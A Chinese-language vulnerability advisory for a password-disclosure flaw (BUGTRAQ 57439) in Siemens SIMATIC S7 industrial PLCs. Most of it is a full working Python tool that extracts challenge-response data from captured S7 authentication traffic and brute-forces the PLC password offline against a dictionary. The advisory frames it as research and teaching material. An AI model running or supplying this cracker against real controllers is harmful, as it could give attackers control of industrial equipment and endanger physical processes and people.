发布日期：2013-01-16
更新日期：2013-01-22
受影响系统：
Siemens SIMATIC S7 PLC Systems
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 57439
Siemens SIMATIC S7 Programmable Logic Controllers (PLC)是模块化PLC控制器。
Siemens SIMATIC S7 Programmable Logic Controllers (PLC)系统在实现上存在密码泄露漏洞，攻击者可利用此漏洞获取设备密码凭证。
S7协议是SCADA、HMI和PLC之间的通信协议，该协议的数据传输受密码保护。Alexander Timorin发布了一个针对该协议的离线的密码暴力破解工具，该工具在S7协议的auth数据包中取得challenge-response数据，在此基础上进行离线的对密码的暴力破解。
<*来源：Alexander Timorin
链接：
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Alexander Timorin （）提供了如下测试方法：
"""
File: s7-brute-offline.py
Desc: offline password bruteforsing based on challenge-response data, extracted from auth traffic dump file
Alexander Timorin, Dmitry Sklyarov
Version: 0.1 (just for demo, don't kick my ass plz)
"""
import sys
import hashlib
import hmac
from binascii import hexlify
try:
from scapy.all import *
except ImportError:
print "please install scapy: "
sys.exit()
cfg_pcap_file = '/root/siemens/RE_S7/stop_cpu_cmd_right_pass_123.pcap'
cfg_dictionary_file = 'dict.txt'
def get_challenge_response():
r = rdpcap(cfg_pcap_file)
lens = map(lambda x: x.len, r)
pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))])
# try to find challenge packet
pckt_108 = 0 #challenge packet (from server)
for (pckt_indx, pckt_len) in pckt_lens.items():
if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == '7202002732':
pckt_108 = pckt_indx
break
# try to find response packet
pckt_141 = 0 #response packet (from client)
_t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ])
for pckt_indx in sorted(_t1.keys()):
pckt_len = _t1[pckt_indx]
if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == '7202004831':
pckt_141 = pckt_indx
break
# try to find auth result packet
pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok
pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad
for pckt_indx in sorted(_t1.keys()):
pckt_len = _t1[pckt_indx]
if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == '7202000f32':
pckt_84 = pckt_indx
break
if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == '7202001732':
pckt_92 = pckt_indx
break
print "found packets indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d" % (pckt_108, pckt_141, pckt_84, pckt_92)
if pckt_84:
print "auth ok"
else:
print "auth bad. for brute we need right auth result. exit"
sys.exit()
challenge = None
response = None
raw_challenge = hexlify(r[pckt_108].load)
if raw_challenge[46:52] == '100214' and raw_challenge[92:94] == '00':
challenge = raw_challenge[52:92]
print "found challenge: %s" % challenge
else:
print "cannot find challenge. exit"
sys.exit()
raw_response = hexlify(r[pckt_141].load)
if raw_response[64:70] == '100214' and raw_response[110:112] == '00':
response = raw_response[70:110]
print "found response: %s" % response
else:
print "cannot find response. exit"
sys.exit()
return challenge, response
def calculate_s7response(password, challenge):
challenge = challenge.decode("hex")
return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest()
if __name__ == '__main__':
print "using pcap file: %s" % cfg_pcap_file
challenge, response = get_challenge_response()
print "start password bruteforsing ..."
for p in open(cfg_dictionary_file):
p = p.strip()
if response == calculate_s7response(p, challenge):
print "found password: %s" % p
sys.exit()
print "password not found. try another dictionary."